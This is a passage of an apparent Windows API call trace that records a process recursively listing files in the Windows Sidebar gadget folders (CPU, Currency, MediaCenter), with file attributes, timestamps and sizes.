ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842ddbeb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x290d46f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x42e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="back.png", cAlternateFileName="")) returned 1 [0245.076] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.079] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8057bdba, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8057bdba, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.079] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842ddbeb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842ddbeb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x290d46f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x42e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="back.png", cAlternateFileName="")) returned 1 [0245.080] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0245.080] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.080] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8538749b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8538749b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29088439, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4f1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0245.080] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0245.080] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.080] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.080] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.080] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.080] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871223e6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871223e6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296096cf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x406b, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0245.081] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.081] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.081] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.081] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.081] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.081] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0245.081] lstrcmpW (lpString1="css", lpString2=".") returned 1 [0245.081] lstrcmpW (lpString1="css", lpString2="..") returned 1 [0245.081] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.081] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.082] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.082] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.082] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.082] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.css", cAlternateFileName="")) returned 1 [0245.083] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.083] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.083] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.css", cAlternateFileName="")) returned 1 [0245.084] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.084] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.084] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.084] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.084] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.084] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x104de, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.js", cAlternateFileName="")) returned 1 [0245.085] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.085] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.085] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x104de, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.js", cAlternateFileName="")) returned 1 [0245.086] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.086] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.086] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0245.086] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1792, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.html", cAlternateFileName="")) returned 1 [0245.087] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.088] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.088] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8063a49c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8063a49c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.089] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.089] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.089] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8640abee, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8640abee, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296c7da5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3129, dwReserved0=0x0, dwReserved1=0x0, cFileName="activity16v.png", cAlternateFileName="")) returned 1 [0245.095] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.096] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8063a49c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8063a49c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.096] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8640abee, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8640abee, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296c7da5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3129, dwReserved0=0x0, dwReserved1=0x0, cFileName="activity16v.png", cAlternateFileName="")) returned 1 [0245.100] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0245.100] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.100] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871223e6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871223e6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296096cf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x406b, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0245.100] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0245.102] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.102] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1afe884, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8df54c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.102] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.102] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.102] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b24af3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0245.102] lstrcmpW (lpString1="css", lpString2=".") returned 1 [0245.102] lstrcmpW (lpString1="css", lpString2="..") returned 1 [0245.102] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.102] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.103] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b24af3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.103] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.103] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.103] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8fefd96, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc8fefd96, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf14, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.css", cAlternateFileName="")) returned 1 [0245.105] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.105] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b24af3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.105] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8fefd96, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc8fefd96, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf14, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.css", cAlternateFileName="")) returned 1 [0245.105] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.105] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.105] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa48ceb9, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.106] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.106] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.106] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0245.106] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.106] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa48ceb9, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.107] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0245.107] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\*", fInfoLevelId=0x0, 